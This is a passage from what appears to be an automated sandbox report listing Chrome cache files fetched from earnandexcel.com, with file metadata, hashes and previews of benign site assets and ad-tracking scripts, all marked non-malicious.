e.1...k%..s.......qw..9....fv.....c....~...6N......+...'.6...[..b.BM.y......\5.y,.b.....a.........q$e........<W..(..R..5.L/..<.........L....h...~\......g....5......p6.......1..8.V...'.....!D.PL.........r...\|...Z..I<.e.L<@..u....\|.Pyt)..0H..<..Y.l...0.....A.x"..$.........S.N.k..`.r.....]Z.....x..w.l./.kJ.AA....d...Y....]...J.....{...H....z.x..F.QB.^m.....m.6@K....2....7.."]@...-Z.k.^.4.9...E%<4.D...6..F2....\|Gb.......`...mH.b...g.. W9^L2.$.i+...b.z

Chrome Cache Entry: 705

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 706

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1220), with no line terminators
Category:	downloaded
Size (bytes):	1220
Entropy (8bit):	4.893443359043847
Encrypted:	false
SSDEEP:	24:Jc/Xrf83ue+JUJINTJ9gLDVN0GNFi9H8p8fk1E4jMK19H8Y8FKy9H8j8u:u/7f83ue+qJWTJ9qDP0gFiFh4JuI
MD5:	81FEC23FBD3FAB583D4D2170E3EEFE01
SHA1:	8D832066B9C828CBDD9F84DAD6037865AC7BB2A1
SHA-256:	59D6AB6EFE7EB235ADE623E146096601C95774568E2684E8080327117FF9537A
SHA-512:	86563DC938CA420FF06A5C1E321F0649C811314EA9AA21FE819F0AA4697627A25154C216EA5B94CFD86C5DF562A119201302CC967E5B430724B535FDF3AB8F4B
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/elementor/css/post-27785.css
Preview:	.elementor-kit-27785{--e-global-color-primary:#6EC1E4;--e-global-color-secondary:#54595F;--e-global-color-text:#7A7A7A;--e-global-color-accent:#61CE70;--e-global-color-913c012:#0CD977;--e-global-color-d5f8989:#CCFF2A;--e-global-color-b4145ea:#3287C8;--e-global-typography-primary-font-family:"Roboto";--e-global-typography-primary-font-weight:600;--e-global-typography-secondary-font-family:"Roboto Slab";--e-global-typography-secondary-font-weight:400;--e-global-typography-text-font-family:"Roboto";--e-global-typography-text-font-weight:400;--e-global-typography-accent-font-family:"Roboto";--e-global-typography-accent-font-weight:500;}.elementor-section.elementor-section-boxed > .elementor-container{max-width:1140px;}.e-container{--container-max-width:1140px;}.elementor-widget:not(:last-child){margin-bottom:20px;}.elementor-element{--widgets-spacing:20px;}{}h1.entry-title{display:var(--page-title-display);}@media(max-width:1024px){.elementor-section.elementor-section-boxed > .elementor-co

Chrome Cache Entry: 707

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 80, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6410
Entropy (8bit):	7.935618947712464
Encrypted:	false
SSDEEP:	192:oyfB6XLvuvWKt7YbCK1G/d1t55LJRfcActgN2NEVJE8:oKIXzi7G1G/lp9HctguEr
MD5:	32033D0588631B24755810F248BBA84A
SHA1:	A298921960A94FAA0C3A679A4B7BC67BD972A6B6
SHA-256:	489F2ABFDCE0E2D67633CFC6C2D6B79B313494B9D06FDA271536766FDCE3020D
SHA-512:	3F173B8F2FD72ECE4F8AEDA57A3BEE629A396C7A64005B0D1A6719E9D4548FBEB9DBA1DFCC818E527DD685A99294D41DC5BEF69B2CE5B3E00C974F439609C1AD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......P.............IDATx..G..]......9;.s..A.AP. ......Yt!.,F...t'.0..3L.>....r?a.wF........y.n&..T...h......Z]o..L<,..[VVVJuu.4.(++...r.....DAA....* A..k.lUUU....d.p...o....../. #;...........w.^Y.b..[.N6o.,k..M.65h[.~.l.Q.^.........f..?~....S.N.G.......[.v.m....KJJ....3...q..v..E.u...x........a.....4o.\..;...W4y].........C....G..#..1c.....&...i...'.mS.N..'...q..Z4..n.?~.L.4...}C...A..I....S...i.Y...Dnn.,[.L....L..P4.n..........l...m.Q2b...S .....l..........,i../\..vK..S.+..$.......!..-.0.....lCN..y....W......./n.\..q..uk\......d.)l....<..../..:..p.JOOGB..Y...m.En.).n..7n.;wty..=....].\|Y.\.B'...x..99s..._n.-._..w..k.d...e..;r,............]j...r...]..d.....q....^VE.0 .}...o.d...dx..............v...YYY.d...>\|8..../.......-.Q......YRR".HKK.Y.fi.7..C.9}.4.*....FPK...S..O..h....`..xl....k.........W...sy...<y.D.={....7...v..3y......X%..1..p.#......SE....{........39......C..!I...dX<` .`;...uG....s..

Chrome Cache Entry: 708

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (33760), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	328671
Entropy (8bit):	5.281262230208602
Encrypted:	false
SSDEEP:	3072:kMV5G5gJq+C3JyXQ7Zl2xBvBh5X7Zl2xBvBxVXXTGQRquFZdvvP9TxuFikdyXxH2:kMf0k5
MD5:	11EB25E123F5C9A87AA2497B1FCA4758
SHA1:	87CC6A57AE61B108E2EC617BCFA38FEB98D75030
SHA-256:	B035F71279A215A09B1631AD4816EA20D0AF3A0C11E54C577D79670BAEDD88C5
SHA-512:	522FBF1EEE23B44685E1FBB98B40F520451A2A74C0F78D5CDB65EC3FF20C4052AE5B02EA96C7D449DA8651A165EEAA9845603466639E20A30C3535310B5BE830
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/
Preview:	<!DOCTYPE html>.<html lang="en-US" >.<head>...<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1">..<link rel="profile" href="https://gmpg.org/xfn/11">......<script type="text/javascript">....window.flatStyles = window.flatStyles \|\| ''.....window.lightspeedOptimizeStylesheet = function () {.....const currentStylesheet = document.querySelector( '.tcb-lightspeed-style:not([data-ls-optimized])' )......if ( currentStylesheet ) {......try {.......if ( currentStylesheet.sheet && currentStylesheet.sheet.cssRules ) {........if ( window.flatStyles ) {.........if ( this.optimizing ) {..........setTimeout( window.lightspeedOptimizeStylesheet.bind( this ), 24 ).........} else {..........this.optimizing = true;...........let rulesIndex = 0;...........while ( rulesIndex < currentStylesheet.sheet.cssRules.length ) {...........const rule = currentStylesheet.sheet.cssRules[ rulesIndex ].........../* remove rules that already exist in the page */...........if ( ru

Chrome Cache Entry: 709

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&gdpr_consent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 710

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072956&gdpr=0&val=qmFwqaliIPCxY3fzrTVspPgxcaixZ3Ki_zUetZK9
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 711

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 141600, version 331.524
Category:	downloaded
Size (bytes):	141600
Entropy (8bit):	7.998446179529992
Encrypted:	true
SSDEEP:	3072:rSwYdBwem1sMx9wpWav6ZmGdX1+pZkTfxXpIu4k1W/FTRfH5Y:6BweAsYMWS3GljGk8Dfa
MD5:	16E9DBEB2AFD22D5CF0E7EEB2B2879AE
SHA1:	91689C405037A6CC57058A8738324BD762CF5C2B
SHA-256:	E77C7E1C8F859611D1200EE9A75EADBCE02664F28A53B05807233E88DEB82F65
SHA-512:	D435DFC9A00932C944C8A31713B6F2BBF1DAC23B59AC67895725C636462EA5A3C6C284BB99797093964F92CBCBB6539A01264793C8A0F3403451BD27529C7422
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/awesome/webfonts/fa-solid-900.woff2
Preview:	wOF2......) ..........(..K......................?FFTM....`...........~.6.$..r..x.. ......'[......D...&..a_.....1lk=.....^.m:.._..P5........].......&.'-....`0.8..AL.\| J9a,..0cbI...N6..O.b...K....sl"F2.0[....cG....u.]..M.v9..F.../ty......].2d~...h_....12A....k.M..y..7.Lr9sQ.3w.......$.......3W..d.z=\...\|.L3..=.H..7.K~5..=..L.0g#<....+......5.(f..k..t..h8..."....4MS..iuw:=Zk.5D.~gV..j..y....#...y..<..B%...e..GD..{8......=.O...N.<.).r............($E....y..O...G.....b....@.k..UKF!.aK..r..:jU(...C.<..x......."....F.6h._..1.Q......07.eX..`.Q.....F.xV..y.ywF.^..(..M...(...T...j...}4.....B.F...`...q...\.....$[@f.@...@+\...O.....yG.tB%..JZ.&_f:.?^.-/..Vu...E...`..E2H.K...G...@.2u.q%.t.Rf...R.n.f..A.u....B.~.x...>.4...L64.K...g...3....S..=. ".%..9.U... ..3g.d...._:..u...U:..J%Q.!..1..}.oJ.B.....8..i.#6i...i.....m 4.}..J#..5i&.P.@..D..S..o5.h8D.....*..73.`..........S.&.... .5...?~T...9gW0.A.P.M...8..../.k..;F...\|.{v..'$.]..Y..U.Y.rJ.C@.......n..$.

Chrome Cache Entry: 712

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 136 x 136, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2794
Entropy (8bit):	7.87078152347252
Encrypted:	false
SSDEEP:	48:DH8oUGrPOx07herZkqprwJXSApp1DjFdaxz5Ys48Z7oGlTJMp7OyM:DcoUGq07keqUJzCkM
MD5:	D12AFB239E6D563FEF48832B2DBB1CB2
SHA1:	FEDE598FD43F89E19C7D643EAE4DB9949B18F3B6
SHA-256:	68851843FE8B098FF0FF2C9645E000E792E2F10AE1A671265C1CFBCF60C4D7D2
SHA-512:	87FC5DA409AD870BBBD2A777F35B31D7542D7235BA6600700490CF00FF45CE88C186D5B3B65F568DB3C7F7F406F9915A1C8EB0E4BFB5CD5E6A38ED15D5BE9F84
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............<..R....IDATx...r.E..7p...(.8...S8.A...@A.....$.....5..a.....K..c#-..K.u........;=...C....+..gZ.~a.4.?....y...[...4...f.~>..t.....vO......kXx.....i..{e...x...}....M..\|9.i..V..d.?.kO.7\|.. ...h..w_.J..5s.p........=..W.a=.&...a..Fx..d/....e.,......jr.D.q.`.3..wE....U.......j.f..m...W...5P/.kv.i.dN..5...:....^.j6.....&.>...]95.\...p.~.h..^.9....;..&g.I.6.4s......c...{..0}......,ki4....a3...M..E.f..{\|.........g._V..,.w.s....`..z...7.....M......k...5,<l.....p.+.._...[........t.............)j..\|.)...^M8....^M............@ .....@ .d.tX~&!Y.H..% d...9.~......kX.e....3.W.\|.P...=....C.....P....yU.v\|....B..)`.$w.....b.N.tK....S%.r.......%.m.u.....uX.......6l.j...eoD.=.$....&../.5.......z...I7kR..t...9.t.......%...V..nz..&.s.${4.s..J..n.....$ie.a=....X.hr3.H....kh.....H.)...E._..V.......0..W~...I...#x..._{...<..k.....?..B3.7..p...q.....^Yx....qhn..L,...Um......y.5..@ .....@ ...Z.y$u..aL...".h..C.:\g$u

Chrome Cache Entry: 713

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2466), with no line terminators
Category:	downloaded
Size (bytes):	2466
Entropy (8bit):	5.677068548051062
Encrypted:	false
SSDEEP:	48:CjCO9CaOUljMJOB0edCKAHIagmTBsGJdTjN2mAeSsNC8t5n77Qq:C21abEsdCbIosyZN2x78tl7Qq
MD5:	85B2969111FC8AC12F8247D2A0AD79EA
SHA1:	DD6FCD544A071B5640FF2CD1A1F95738B8A1B771
SHA-256:	81DBA971033E9558958C61A231BA713B0582649F72EF490AC1D3117E2EE1BAA5
SHA-512:	4D8A793BD48E9581488231D323CEC74B8AC3B4033E79C98628FC326E84301066264C36E52D0F1DBA4FC86E3916AF33E03A6260AEC871BDDD3DB3CD1D0E17CB79
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=26093685&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
Preview:	PubMatic.loadAsyncImagePixel('https://synchroscript.deliveryengine.adswizz.com/syncMe?partnerDomain=mrtnsvr.com&idType=cookie&partnerUserId=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://idsync.rlcdn.com/712188.gif?partner_uid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://bcp.crwdcntrl.net/map/c=14701/tp=MTAI/tpid=25F9549E-136A-47E9-9171-DA44C0E0D5E3/gdpr=0/gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.tapad.com/idsync/ex/receive?partner_id=3203&partner_device_id=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://beacon.lynx.cognitivlabs.com/pbmtc.gif?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=$UID');PubMatic.loadAsyncIframePixel('https://p.rfihub.com/cm?pub=224&in=1&getuid=https%3A//image2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw

Chrome Cache Entry: 714

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	63123
Entropy (8bit):	6.00004703373613
Encrypted:	false
SSDEEP:	1536:WckpV3jiejZjBjnjvjc7CI7C/jnj+427C84:nkpNjRjZjBjnjvjTjnj+4c4
MD5:	F10162BD47FE64F2888BDBC1157B6247
SHA1:	E5D39894F97429620AACC624482B7661F9B0264C
SHA-256:	B0E4591694FADE1BDA3ADF2196A33CFAE94AD96633B6BCFDF34F4BDB6BB35824
SHA-512:	1238E309FBA500E65089209A1DB19AB4962C49DDB8679CB9AA5B69D4C652007DE175FD4C2A86F52B8E90CCBDA31340D95AC94FC968AFE95646109638DF76DE0B
Malicious:	false
Reputation:	low
Preview:	{"/1030006/earnandexcel/adhesion":["html",0,null,null,1,100,970,0,1,null,null,null,1,null,[107205376836],[172149396],[29955756],[299148516],[98686],null,null,null,null,null,null,1,null,null,null,null,null,null,null,"CIfc1ZmNu4UDFZWWgwgdh8sNyg",null,null,null,null,null,null,null,null,["012404020207000"],null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,[]]}.<!doctype html><html amp4ads class=i-amphtml-inabox i-amphtml-layout i-amphtml-no-boilerplate lang=en><head><meta charset=utf-8><meta content="width=device-width,minimum-scale=1,initial-scale=1" name=viewport><style amp-runtime i-amphtml-version=012404020207000>html{overflow-x:hidden!important}html.i-amphtml-fie{height:100%!important;width:100%!important}html:not([amp4ads]),html:not([amp4ads]) body{height:auto!important}html:not([amp4ads]) body{margin:0!important}body{-webkit-text-size-adjust:100%;-moz-text-size-adjust:100%;-ms-text-size-adjust:100%;text-size-adju

Chrome Cache Entry: 715

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid=
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 716

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	672
Entropy (8bit):	4.88738061447812
Encrypted:	false
SSDEEP:	12:hYYLVKwFHCIaI1ByLc2VfTgDAM7QBDM75DM7hkgaPAxRW09eXM7yarBBxNtsbRz+:hYeU4iIaI1UDrCQB050AARW09dDrBnzj
MD5:	67B95267FEC9BF5EE45786BEF9D2B01A
SHA1:	346659BA1E68F661B9A0D897D15B9B38A3C1331D
SHA-256:	6501140033C3BB20DA4B5AC73C90F687BA8A2053C4BA37C4B6F5275166DB7FA6
SHA-512:	F5BECF4F2345D6E382665F700AFB5558AAA3CFD6B7A1336FA0592C303607AAD95FD724E8A3C5D52BB5FD37A8CB60AF31D20582C7B3FC5FEBC8BF9BB0F93A9C3E
Malicious:	false
Reputation:	low
URL:	https://tr.snapchat.com/cm/i?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&u_sclid=38ae9a90-f540-4555-a653-07722b05efcf
Preview:	<!DOCTYPE html>.<html>.<head>. <script>. (function(win, doc, sdk_url){. if(win.snaptr) return;. var tr=win.snaptr=function(){. tr.handleRequest? tr.handleRequest.apply(tr, arguments):tr.queue.push(arguments);. };. tr.queue = [];. var s='script';. var new_script_section=doc.createElement(s);. new_script_section.async=!0;. new_script_section.src=sdk_url;. var insert_pos=doc.getElementsByTagName(s)[0];. insert_pos.parentNode.insertBefore(new_script_section, insert_pos);. })(window, document, 'https://sc-static.net/scevent.min.js');. snaptr('cm', { 'sync_modes': [140] });. </script>.</head>.</html>.

Chrome Cache Entry: 717

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65285)
Category:	downloaded
Size (bytes):	140890
Entropy (8bit):	5.215308736628414
Encrypted:	false
SSDEEP:	1536:KOgAc1fPC5szeCuG3RBQK8xi5Glq+DzCJpDUitMRLMGpukRRgj8evHgZsUgeAq51:swCrt2i5uDixKRRtYHgZsUgeAq5qOlJb
MD5:	28EFA41EAEB18CD38BB1AECA28480AEE
SHA1:	A2FE3C0DF9196597C283B2F6FFECC1D4D8702245
SHA-256:	C4A77C3BA0AF6B05ECDDBF190AB7EEC0DF40D0848233C6D48490BCE8BE80F0E6
SHA-512:	9671AEECC5241F3CCC766A448EABFEB9AAE032D2FB5D617A86E46D9616A0326252FFA730AC76F51A7954D9AE765370865F4FC5F9457944D2BCB2F606DA9A3B74
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/swiper/js/swiper.min.js
Preview:	/*. Swiper 5.4.1. * Most modern mobile touch slider and framework with hardware accelerated transitions. * http://swiperjs.com. . Copyright 2014-2020 Vladimir Kharlampidi. . Released under the MIT License. . Released on: May 20, 2020. */..!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e=e\|\|self).Swiper=t()}(this,(function(){"use strict";function e(e){return null!==e&&"object"==typeof e&&"constructor"in e&&e.constructor===Object}function t(i,s){void 0===i&&(i={}),void 0===s&&(s={}),Object.keys(s).forEach((function(a){void 0===i[a]?i[a]=s[a]:e(s[a])&&e(i[a])&&Object.keys(s[a]).length>0&&t(i[a],s[a])}))}var i="undefined"!=typeof document?document:{},s={body:{},addEventListener:function(){},removeEventListener:function(){},activeElement:{blur:function(){},nodeName:""},querySelector:function(){return null},querySelectorAll:function(){return[]},getElementById:function(){return null},createEve

Chrome Cache Entry: 718

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5657)
Category:	downloaded
Size (bytes):	6162
Entropy (8bit):	5.599076700545423
Encrypted:	false
SSDEEP:	192:Sb04pPhtmpvftu/PvJ/CMMKJ8UotoqzpfLEj:s0i5fPJ6FEPkIj
MD5:	6AAAF8E11A32FD37FB419E3A4CE9696C
SHA1:	1FD88F2EE4DE5422E0C344DEBEFE3F2B5ABB2592
SHA-256:	468959E93F9B4E6F07C6A8F8D0E93D8FCB37D76A8615A93EC153F5842247BA99
SHA-512:	748B27BDB7C7FA082D7BE6C69F56DC33302105784391320A5CF960531C594097BC406FD3F4690E4CF74F4016F4D56804A4296E9BD885562EB66699E1318F7000
Malicious:	false
Reputation:	low
URL:	https://45f8e05ff775854dc6029f703a702b69.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8">. <title>SafeFrame Container</title>. <script>.(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var f=this\|\|self,h=function(a){return a};var n=function(a,b){this.h=a===l&&b\|\|"";this.g=m},p=function(a){return a instanceof n&&a.constructor===n&&a.g===m?a.h:"type_error:Const"},m={},l={};var r=void 0;/.. SPDX-License-Identifier: Apache-2.0./.var t,aa=function(){if(void 0===t){var a=null,b=f.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:h,createScript:h,createScriptURL:h})}catch(c){f.console&&f.console.error(c.message)}t=a}else t=a}return t};var ca=function(a){this.g=ba===ba?a:""};ca.prototype.toString=function(){return this.g+""};var ba={},da=function(a){var b=aa();a=b?b.createScriptURL(a):a;return new ca(a)};var ea={},u=function(a,b){this.g=b===ea?a:""};u.prototype.toString=function(){return this.g.toString()};var ha=function(){var a=v,b={messa

Chrome Cache Entry: 719

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24598)
Category:	downloaded
Size (bytes):	41132
Entropy (8bit):	5.376881420519344
Encrypted:	false
SSDEEP:	768:Zf8/g/Nl/s/s+s1Rfo0b2FwYLbdYKriRzCsvFvCuQ:ZfUoNl0s00xArDuCuQ
MD5:	E4896437C1508638DDDAC88367F99CD6
SHA1:	C3A55AAFEF1B5B52F0D72FBC651A9CE7BC8BAAE8
SHA-256:	C3402B118E3A957CC598C923BCBF53DAE9FFAEC524DCA9E58A9AE3B65B6B6153
SHA-512:	5DAA648BF9362ABCCA97E52B6442DB57849BC9CB0CF62A13D9AC459C51CAA823407F2AFE58636F55981209F6F9C2CA2D8A2D3EB03747A2707C1B43C9F88F07B0
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.js
Preview:	var comments = 'User-Sync: generated: 2024-04-11 04:55:43 PDT';.var rtb_sync = {"consent_rate":100,"reset_rate":40,"ttl":14,"sample":100,"max_pixels":16,"pixel_sets":{"rtb":{"sample":100,"pixels":{"1185":{"ttl":7,"img":"https:\/\/ad.turn.com\/r\/cs?pid=6","secure":{"img":"https:\/\/ad.turn.com\/r\/cs?pid=6"},"priority":7,"partner":"amobee"},"1902":{"priority":17,"ttl":2,"img":"https:\/\/cms.quantserve.com\/pixel\/p-e4m3Yko6bFYVc.gif?idmatch=0","secure":{"img":"https:\/\/cms.quantserve.com\/pixel\/p-e4m3Yko6bFYVc.gif?idmatch=0"},"partner":"quantcast"},"1986":{"priority":7,"ttl":1,"img":"https:\/\/ib.adnxs.com\/getuidnb?http%3A%2F%2Fpixel.rubiconproject.com%2Ftap.php%3Fv%3D4894%26nid%3D1986%26put%3D$UID%26expires%3D30","secure":{"img":"https:\/\/secure.adnxs.com\/getuidnb?https%3A%2F%2Fpixel.rubiconproject.com%2Ftap.php%3Fv%3D4894%26nid%3D1986%26put%3D$UID%26expires%3D30"},"partner":"xandr"},"2046":{"priority":13,"ttl":7,"img":"https:\/\/token.rubiconproject.com\/token?pid=2046&pt=n&a=1"

Chrome Cache Entry: 720

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (61740)
Category:	downloaded
Size (bytes):	688423
Entropy (8bit):	5.967524593784126
Encrypted:	false
SSDEEP:	12288:drw0sj11AWG6Mv73hpWIL+NFhVdZpj6VL:drw0urG6Mv7GA+NFhVrpj6B
MD5:	2E8E951CB0AFD82E8F9AE8FDA86F0AAB
SHA1:	042248876D0AA691A0C871B71CCDEB68EB4BCD8E
SHA-256:	0B7ABD8F5309CDE03CB50D0AE3BBB6C024D08E256341D540FD41A5091C6888ED
SHA-512:	309D568CFD1A839DA792CA74F9DC71CAB86A2DE36C5955855E7F6F5B3ECC61DD6CD78FA18FF672A1CFBAA67712CF38514F5D6D9EA7224CAA0CE07A50CB0AC324
Malicious:	false
Reputation:	low
URL:	https://a.deadlinefunnel.com/unified/reactunified.bundle.js?userIdHash=eyJpdiI6ImFMVURHVnJ1MzhyOUNiTmUzd3RVWGc9PSIsInZhbHVlIjoiVDM3aDFzZUNFSllpQVdNNVpkT0FPQT09IiwibWFjIjoiOGViYmUyZGZlM2U5ZTFlMDM3MWNjMWRjNTIzOTk0MzBlMjEwNGIyOThlZTZkOTM0ZDVjMDE4MjJjZDRhYjM2MCJ9&pageFromUrl=aHR0cHM6Ly9lYXJuYW5kZXhjZWwudGhpbmtpZmljLmNvbS91c2Vycy9zaWduX2luP19nYT0yLjIxNDU1NDk3NC44MzcyMTk0NTAuMTcxMjg3MDgwMy02Njg2MTQ5OTcuMTcxMjg3MDgwMQ==&parentPageFromUrl=
Preview:	/! For license information please see reactunified.bundle.js.LICENSE.txt /.(()=>{var e,t,n={6628:(e,t,n)=>{"use strict";n(38077),n(81919),n(99474),n(35082),n(40739);var r=n(4942),a=n(15861),i=n(64687),o=n.n(i),s=(n(60228),n(73964),n(78832),n(752),n(21694),n(76265),n(6203),n(34338),n(64043),n(57267),n(69358),n(60429),n(76801),n(43843),n(49693),n(98742),n(96869),n(30024),n(47522),n(55791),n(59749),n(86544),n(62795),n(13383),n(97195),n(61514),n(67294)),u=n(30381),l=n.n(u),d=n(85837),c=n.n(d),f=n(73935),m=(n(9873),n(61544));function _(e){var t=function(e){var t,n,r=document.querySelectorAll("[data-scriptid]");if(r.length>0)var a=r;else a=document.getElementsByTagName("script");for(var i=0;i<a.length;i+=1){var o=a[i].src;if(o&&2==(t=h(o)).length){var s;if(2==(s=t[1].split(/\?/g)).length){var 